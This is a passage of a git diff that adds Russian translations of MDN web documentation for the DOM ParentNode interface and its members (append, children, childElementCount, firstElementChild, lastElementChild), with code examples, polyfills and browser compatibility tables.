+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>orientationX</code>, <code>orientationY</code>, and <code>orientationZ</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>positionX</code>, <code>positionY</code>, and <code>positionZ</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+  <tr>
+   <td><code>orientationX</code>, <code>orientationY</code>, and <code>orientationZ</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>positionX</code>, <code>positionY</code>, and <code>positionZ</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="http://musiconnect.ru/publ/mixmaster/osnovy-panoramirovaniya-raspolozhenie-zvukov-v-virtualnom-prostranstve-ch-1/">Основы панорамирования. Расположение звуков в виртуальном пространстве.</a></li>
+</ul>
diff --git a/files/ru/web/api/parentnode/append/index.html b/files/ru/web/api/parentnode/append/index.html
new file mode 100644
index 0000000000..02d0995fc4
--- /dev/null
+++ b/files/ru/web/api/parentnode/append/index.html
@@ -0,0 +1,134 @@
+---
+title: ParentNode.append()
+slug: Web/API/ParentNode/append
+translation_of: Web/API/ParentNode/append
+---
+<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div>
+
+<p>Метод <strong><code>ParentNode.append</code></strong> добавляет набор объектов {{domxref("Node")}} или {{domxref("DOMString")}} в конец (после последнего потомка) <code>ParentNode</code>. {{domxref("DOMString")}} объекты добавляются как {{domxref("Text")}}.</p>
+
+<p>Отличия от {{domxref("Node.appendChild()")}}:</p>
+
+<ul>
+ <li><code>ParentNode.append()</code> позволяет добавлять {{domxref("DOMString")}} объекты, в то время как <code>Node.appendChild()</code> принимает только {{domxref("Node")}}.</li>
+ <li><code>ParentNode.append()</code> ничего не возвращает, в то время как <code>Node.appendChild()</code> возвращает добавленный объект {{domxref("Node")}}.</li>
+ <li><code>ParentNode.append()</code> позволяет добавить несколько узлов (node) или строк, в то время как <code>Node.appendChild()</code> может добавть только один узел (node).</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ParentNode.append((Node или DOMString)... nodes);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Набор объектов {{domxref("Node")}} или {{domxref("DOMString")}}, которые будут добавлены.</dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: Узел (node) не может быть вставлен в определённую точку в иерархии страницы.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Добавление_элемента">Добавление элемента</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ &lt;p&gt; ]
+</pre>
+
+<h3 id="Добавление_строки">Добавление строки</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Любой текст");
+
+console.log(parent.textContent); // "Любой текст"</pre>
+
+<h3 id="Добавление_элемента_или_строки">Добавление элемента или строки</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Любой текст", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Любой текст", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.append_не_имеет_области_видимости"><code>ParentNode.append()</code> не имеет области видимости</h3>
+
+<p>Метод <code>append()</code> не имеет области видимости с директивой <code>with</code>. Больше информации в {{jsxref("Symbol.unscopables")}}.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined </pre>
+
+<h2 id="Полифил">Полифил</h2>
+
+<p>Вы можете использовать полифил для <code>метода append()</code> в Internet Explorer 9 и выше:</p>
+
+<pre class="brush: js">// Источник: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.ParentNode.append")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} и {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ru/web/api/parentnode/childelementcount/index.html b/files/ru/web/api/parentnode/childelementcount/index.html
new file mode 100644
index 0000000000..6dcc3711dd
--- /dev/null
+++ b/files/ru/web/api/parentnode/childelementcount/index.html
@@ -0,0 +1,122 @@
+---
+title: Node.childElementCount
+slug: Web/API/ParentNode/childElementCount
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/childElementCount
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Свойство<code><strong> Node.childElementCount</strong></code> предназначено только для чтения и возвращает число дочерних<u> элементов</u> узла.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтакисис</h2>
+
+<pre class="syntaxbox">var <var>elCount</var> = Node.childElementCount;
+</pre>
+
+<ul>
+ <li><code><strong>elCount</strong></code> - целое число, количество дочерних элементов узла <strong>Node.</strong></li>
+ <li><code><strong>Node</strong></code> - объект, представляющий собой <code>Document</code>, <code>DocumentFragment</code> или <code>Element</code>.</li>
+</ul>
+
+<div class="warning">
+<p>А наш добрый друг<strong> Internet Explorer </strong>в <strong>6, 7</strong> и <strong>8</strong> версиях ошибочно считает элементами комментарии в HTML-коде ({{domxref("Comment")}}).</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> foo <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>foo<span class="punctuation token">.</span>childElementCount <span class="operator token">&gt;</span> <span class="number token">0</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// здесь нужный код..</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-childElementCount', 'ParentNode.childElementCount')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/parentnode/children/index.html b/files/ru/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..e810a39465
--- /dev/null
+++ b/files/ru/web/api/parentnode/children/index.html
@@ -0,0 +1,143 @@
+---
+title: Node.children
+slug: Web/API/ParentNode/children
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/children
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <span class="seoSummary"><code><strong>children</strong></code> </span> {{domxref("ParentNode")}} является свойством только для чтения, которое возвращает {{domxref("HTMLCollection")}}, содержащее все дочерние {{domxref("Element", "elements")}} узла, на котором он был вызван.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>elList</em> = elementNodeReference.children; </pre>
+
+<p><var>В результате,</var><code><var> <strong>elList</strong> - </var></code><var>живая коллекция, состоящая из дочерних элементов узла</var><code><var> <strong>elementNodeReference</strong></var></code>, и стоит подметить, что если у узла детей нет, она будет пустой. Определить это можно, обратившись к свойству length, которое содержит в себе количество элементов в коллекции.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">&lt;ul&gt;
+   &lt;li&gt;1 пункт&lt;/li&gt;
+   &lt;li&gt;2 пункт&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script type="text/javascript"&gt;
+
+   var elementChildrens = document.querySelector("ul").children;
+   for (var i=0, child; child=elementChildrens[i]; i++) {
+        //elementChildrens - коллеция детей списка
+        //child - последовательно, каждый из элементов elementChildrens
+        alert(child.innerHTML);
+   }
+
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</p>
+   </td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("SVGElement")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Internet Explorer 6, 7 и 8 поддерживают данное свойство, но ошибочно включают в коллекцию комментарии ({{domxref("Comment")}}) в HTML-коде.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Свойства {{domxref("ParentNode")}} и {{domxref("ChildNode")}}.</li>
+</ul>
diff --git a/files/ru/web/api/parentnode/firstelementchild/index.html b/files/ru/web/api/parentnode/firstelementchild/index.html
new file mode 100644
index 0000000000..472732452a
--- /dev/null
+++ b/files/ru/web/api/parentnode/firstelementchild/index.html
@@ -0,0 +1,149 @@
+---
+title: ParentNode.firstElementChild
+slug: Web/API/ParentNode/firstElementChild
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/firstElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Доступное только для чтения свойство <strong><code>ParentNode.firstElementChild</code></strong> возвращает первый дочерный элемент объекта ({{domxref("Element")}}) или <code>null</code> если дочерних элементов нет.</p>
+
+<div class="note">
+<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>firstElementChild</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>childNode</em> = elementNodeReference.firstElementChild;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;p id="para-01"&gt;
+  &lt;span&gt;First span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstElementChild.nodeName)
+&lt;/script&gt;</pre>
+
+<p>В этом примере alert показывает 'span', что является именем тега первого дочернего узла элемента p.</p>
+
+<h2 id="Polyfill_для_Internet_Explorer_8">Polyfill для Internet Explorer 8</h2>
+
+<p>Это свойство не поддерживается браузером Internet Explorer вплоть до 9 версии, поэтому следующий сниппет может быть использован для добавления поддержки IE8:</p>
+
+<pre class="brush: js">// Source: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("firstElementChild" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "firstElementChild", {
+        get: function(){
+            for(var nodes = this.children, n, i = 0, l = nodes.length; i &lt; l; ++i)
+                if(n = nodes[i], 1 === n.nodeType) return n;
+            return null;
+        }
+    });
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ({{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ({{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} и {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Типы объектов, имплементирующие данное свойство: {{domxref("Document")}}, {{domxref("Element")}}, и {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/parentnode/index.html b/files/ru/web/api/parentnode/index.html
new file mode 100644
index 0000000000..33f9ee9ddb
--- /dev/null
+++ b/files/ru/web/api/parentnode/index.html
@@ -0,0 +1,94 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+tags:
+  - API
+  - DOM
+  - NeedsTranslation
+  - Tab
+  - TopicStub
+translation_of: Web/API/ParentNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Интерфейс <code><strong>ParentNode</strong></code> содержит методы, которые относятся к {{domxref("Node")}} объектам , у которых могут быть потомки.</p>
+
+<p><code>ParentNode</code> является сырым интерфейсом и объекты с данным типом создать нельзя; данный интерфейс имеется у {{domxref("Element")}}, {{domxref("Document")}}, и {{domxref("DocumentFragment")}} объектов.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.children")}} {{experimental_inline}} {{readonlyInline}}<br>
+ Возвращает живую  {{domxref("HTMLCollection")}}, которая содержит все объекты типа {{domxref("Element")}}, которые являются потомками данного ParentNode.<br>
+ <br>
+ {{domxref("ParentNode.firstElementChild")}} {{experimental_inline}} {{readonlyInline}}<br>
+ Возвращает {{domxref("Element")}} , который является первым потомком данного ParentNode, или null, если таковой отсутствует.<br>
+ <br>
+ {{ domxref("ParentNode.lastElementChild") }} {{experimental_inline}} {{readonlyInline}}<br>
+ Возвращает {{domxref("Element")}}, который является последним из потомков данного ParentNode, или null, если таковой отсутствует.<br>
+ <br>
+ {{ domxref("ParentNode.childElementCount") }} {{experimental_inline}} {{readonlyInline}}<br>
+ Возвращает unsigned long с количеством потомков, которые есть у объекта.</dt>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt>
+ <dd>Вставляет набор объектов типа {{domxref("Node")}} или {{domxref("DOMString")}} после последнего потомка <code>ParentNode</code>. {{domxref("DOMString")}} объекты вставлены как эквивалент {{domxref("Text")}} узлы.</dd>
+ <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt>
+ <dd>Вставляет набор объектов типа {{domxref("Node")}} или {{domxref("DOMString")}} перед первым потомком <code>ParentNode</code>. {{domxref("DOMString")}} объекты вставлены как эквивалент {{domxref("Text")}} узлы.</dd>
+ <dt>{{domxref("ParentNode.querySelector()")}}</dt>
+ <dd>Возвращает первый {{domxref("Element")}} с текущим элементом в качестве источника, который совпадает с определённой группой селекторов.</dd>
+ <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt>
+ <dd>Возвращает {{domxref("NodeList")}}, который представляет собой список элементов с текущим элементом в качестве источника, который совпадает с определённой группой селекторов.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Добавлены методы <code>append()</code> и <code>prepend()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. The <code>firstElementChild</code>, <code>lastElementChild</code>, and <code>childElementCount</code> properties are now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.<br>
+    Added the <code>children</code> property.<br>
+    Added the <code>append()</code> and <code>prepend()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}'</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Добавлено изначальное определение свойств в <code>ElementTraversal</code> чистый интерфейс и использование его в {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.ParentNode")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Чистый интерфейс {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Типы объектов, которые имплементируют данный интерфейс: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/parentnode/lastelementchild/index.html b/files/ru/web/api/parentnode/lastelementchild/index.html
new file mode 100644
index 0000000000..d625dc316f
--- /dev/null
+++ b/files/ru/web/api/parentnode/lastelementchild/index.html
@@ -0,0 +1,161 @@
+---
+title: ParentNode.lastElementChild
+slug: Web/API/ParentNode/lastElementChild
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/lastElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Свойство ParentNode.lastElementChild</strong></code> только для чтения. Возвращает последний дочерний элемент объекта или <code>null</code> если нет дочерних элементов.</p>
+
+<div class="note">
+<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>lastElementChild</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>element</em> = node.lastElementChild; </pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;ul id="foo"&gt;
+  &lt;li&gt;First  (1)&lt;/li&gt;
+  &lt;li&gt;Second (2)&lt;/li&gt;
+  &lt;li&gt;Third  (3)&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script&gt;
+var foo = document.getElementById('foo');
+// yields: Third  (3)
+console.log(foo.lastElementChild.textContent);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Polyfill_for_IE8_IE9_and_Safari">Polyfill for IE8, IE9 and Safari</h2>
+
+<pre class="brush: js">// Overwrites native 'lastElementChild' prototype.
